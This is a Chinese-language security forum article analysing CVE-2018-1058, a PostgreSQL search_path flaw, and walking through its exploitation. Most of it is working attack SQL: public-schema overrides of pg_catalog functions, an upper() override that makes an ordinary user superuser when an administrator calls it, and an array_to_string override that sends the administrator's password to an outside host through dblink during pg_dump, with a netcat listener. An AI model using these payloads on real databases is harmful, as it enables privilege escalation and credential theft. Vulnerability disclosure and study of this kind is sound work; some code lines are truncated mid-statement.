PostgreSQL 远程代码执行漏洞分析及利用—【CVE-2018-1058】

chybeta / 2018-03-06 15:57:01 / 浏览数 15899 技术文章 技术文章 顶(1) 踩(0)

漏洞描述

A flaw was found in the way Postgresql allowed a user to modify the behavior of a query for other users. An attacker with a user account could use this flaw to execute code with the permissions of superuser in the database. Versions 9.3 through 10 are affected.

漏洞影响版本：https://www.securityfocus.com/bid/103221

基本环境搭建

PostgreSQL(win平台)下载地址： PostgreSQL-9.6.7

```
$ psql -U postgres
postgres=# CREATE DATABASE evil;
postgres=# CREATE USER chybeta WITH PASSWORD 'chybeta';
CREATE ROLE
postgres=# GRANT ALL PRIVILEGES ON DATABASE evil to chybeta;
GRANT
```

基本环境如下：

■■■■■postgres
■■■■■chybeta
■■■■ evil

漏洞分析/利用

基本场景

先看一些基本场景。普通用户chybeta登陆：

```
$ psql -U chybeta -d evil
```

通过SELECT SESSION_USER;获知当前的会话用户：

我们在public模式中创建一张表以及对应的字段:

```
evil=>
SELECT 1
```

紧接着进行查询:

```
evil=> SELECT * FROM test;
```

接着我们新创建一个模式（schema），其模式名即为chybeta，也即当前的SESSION_USER：

```
evil=> CREATE schema chybeta;
```

然后在chybeta模式中创建对应的表以及字段:

```
evil=> CREATE TABLE chybeta.test AS SELECT 'i am chybeta'::text AS test;
```

然后我们执行跟上次相同的查询语句:

```
evil=> SELECT * FROM test;
```

为什么两次查询出现了不同的结果呢？这个涉及到PostgreSQL的search_path。PostgreSQL
7.3后引入了schema的概念，称之为模式或者架构，允许用户在独立的命名空间中创建不同的对象（比如table，function）。在默认情况下，比如刚刚创建的一个数据库，

比如说:

```
SELECT * FROM test;
```

也即等价于:

```
SELECT * FROM public.test;
```

由于采用了独立的命名空间，因此在用户进行查询时，倘若涉及到对相同名字但在不同schema中的对象操作时，必然需要考虑一定的顺序。在PostgreSQL 9.6.7的官方文档中，search_path (string)说明了相关场景中的相应匹配动作，截取部分如下:

```
When there are objects of identical names in different schemas, the one found first in the search path is used.

If one of the list items is the special name $user, then the schema having the name returned by SESSION_USER is substituted, i

The system catalog schema, pg_catalog, is always searched, whether it is mentioned in the path or not. If it is mentioned in t
```

即：

1. 首先适配原则，第一个找到的object被使用
2. 名为$user的schema由SESSION_USER决定
3. 如果pg_catalog不在path中则会最先查找它，如果在path中则按照指定顺序查找

第1、2点即如前面所示，但PostgreSQL在对第3点的实现上出现了Design Error(securityfocus的分类)，造成了代码执行漏洞。

利用方式

在Postgres的commit记录中，有如下commit:

```
As special exceptions, the following client applications behave as documented
regardless of search_path settings and schema privileges: clusterdb
createdb createlang createuser dropdb droplang dropuser ecpg (not
programs it generates) initdb oid2name pg_archivecleanup pg_basebackup
pg_config pg_controldata pg_ctl pg_dump pg_dumpall pg_isready
pg_receivewal pg_recvlogical pg_resetwal pg_restore pg_rewind pg_standby
pg_test_fsync pg_test_timing pg_upgrade pg_waldump reindexdb vacuumdb
vacuumlo.  Not included are core client programs that run user-specified
SQL commands, namely psql and pgbench.
```

上面的commit提到了两类的client applications。下文的较为直观的利用方式一是针对第二类client applications（比如psql），然后利用方式二是通过第一类client applications来执行任意代码，相比较下更为隐蔽。

利用方式一

在系统schemapg_catalog中，定义了大量的函数，用pgAdmin3查看:

以函数abs系列为例，接受一个类型为bigint\smallint\intger\real\double precision\numeric的参数，返回其绝对值。倘若我们传送一个非数值类型的参数呢，比如text，

```
evil=> select abs('chybeta');
```

由于并没有参数类型为text的abs函数，会直接报错：

但postgres提供了自定义函数的功能！我们创建如下函数：

```
CREATE FUNCTION public.abs(TEXT) RETURNS TEXT AS $$
    SELECT 'you are hacked by ' || $1;
$$ LANGUAGE SQL IMMUTABLE;
```

当我们再次执行同样的查询语句，根据postgres的设计流程，它会先去查找系统schemapg_catalog，但由于参数类型不同没有找到，接着按照search_path中的顺序查

注意一个点，这个函数是定义在schemapublic中的，也就是说对于进入到这个数据库的任何用户，只要他们调用了abs，且参数为text，都有可能会诱发恶意的代码执行。

不过有谁会傻乎乎的去运行一个莫名其妙的abs(text)呢？因此真正的攻击手段是将过程隐藏到看似正常的数据库查询中。这次我们选择schemapg_catalog中的另外一类函

创建一个表，值的类型为varchar：

```
CREATE TABLE public.hahahaha AS SELECT 'CHYBETA'::varchar AS contents;
```

创建对应的恶意函数:

```
CREATE FUNCTION public.lower(varchar) RETURNS TEXT AS $$
    SELECT 'you are hacked by ' || $1;
$$ LANGUAGE SQL IMMUTABLE;
```

对绝大部分用户而言，他们可能看大写的CHYBETA不爽，然后执行了lower函数，但在不知道/清楚类型的情况下，他们执行的是public中的恶意自定义函数。

只能打印you are hacked by XXX有毛用！！由于恶意自定义函数可以被超级用户调用到，因此也就有了相应的执行权限，最简单的比如提权。

先来看看权限情况（以超级用户为例），可以看到只有postgres的rolsuper是t，即true:

在用户chybeta登陆进evil数据库后，他创建了如下upper■■:

```
CREATE FUNCTION public.upper(varchar) RETURNS TEXT AS $$
   ALTER ROLE chybeta SUPERUSER;
   SELECT pg_catalog.upper($1);
$$ LANGUAGE SQL VOLATILE;
```

注意这里是VOLATILE，具体原因参考 官方文档:xfunc-volatility

另外一张table，小写的chybeta:

```
CREATE TABLE public.hehehehe AS SELECT 'chybeta'::varchar AS contents;
```

管理员一看，心中不爽：小写小写就知道小写，然后:

看上去一切正常，大写的大写。回到用户chybeta处，查看一下权限:

已经成为超级用户。

利用方法有很多，理论上只要能创建恶意函数，管理员调用，就是以管理员身份去执行恶意sql语句/代码。在这种情况中，如commit所说`Not included are core client programs that run user-specified SQL commands, namely psql and pgbench.`，被攻击用户是知道自己执行的sql语句，只是其中的某个function意义被掉包了。

利用方式二

安装完PostgreSQL后还会有一系列的工具，比如pg_dump、pg_dumpall等等。基于利用方式一，在创建了恶意函数的基础之上，可以通过这些工具来执行恶意函数。这些

为利用pg_dump中的sql语句，可以利用log来观察执行过程。在superuser的权限下`show log_directory;`找到log目录，将目录下postgresql.conf中的约莫455行改为`log_statement = all`。重启PostgreSQL后，使用pg_dump工具执行备份命令:

```
pg_dump -U postgres -f evil.bak evil
```

同时观察log输出，查找`statement: SET search_path =`，最后在某处我发现了一段这样的log:

可以看到在这段log中，有一处的`array_to_string`是没有指定schema的。在系统schema中它的定义如下：

在这里由于已经设定了`search_path`，为了能直接适配，这里创建的恶意函数的参数个数和类型都必须和`pg_catalog`中定义的相同，倘若不同则会按顺序匹配到正确的函

因为pg_dump在运行过程中开启的是`read only transaction`，根据官方文档：

```
The transaction access mode determines whether the transaction is read/write or read-only. Read/write is the default. When a t
```

是不允许执行下类操作的:

1. INSERT, UPDATE, DELETE, COPY FROM
2. all CREATE, ALTER, and DROP commands
3. COMMENT, GRANT, REVOKE, TRUNCATE; and EXPLAIN ANALYZE and EXECUTE if the command they would execute is among those listed

不过并没有禁止`select`语句。如果开启了dblink，则可以利用查询来带出数据，比如用dblink_connect。因此我们创建这样的一个恶意函数：

```
CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$
   select dblink_connect((select 'hostaddr=192.168.248.132 port=12345 user=postgres password=chybeta sslmode=disable dbname='|
   SELECT pg_catalog.array_to_string($1,$2);
$$ LANGUAGE SQL VOLATILE;
```

远程vps上监听：

```
nc -lvv 12345
```

当管理员进行数据库备份时：

```
pg_dump -U postgres -f evil.bak evil
```

即可得到管理员密码：

漏洞修补

以下版本修复了该漏洞

```
PostgreSQL PostgreSQL 9.6.8
PostgreSQL PostgreSQL 9.5.12
PostgreSQL PostgreSQL 9.4.17
PostgreSQL PostgreSQL 9.3.22
```

点击收藏 | 0 关注 | 2

上一篇：Windows下Shellcode... 下一篇：使用LUA脚本绕过Applocke...

1. 0 条回复
   - 动动手指，沙发就是你的了！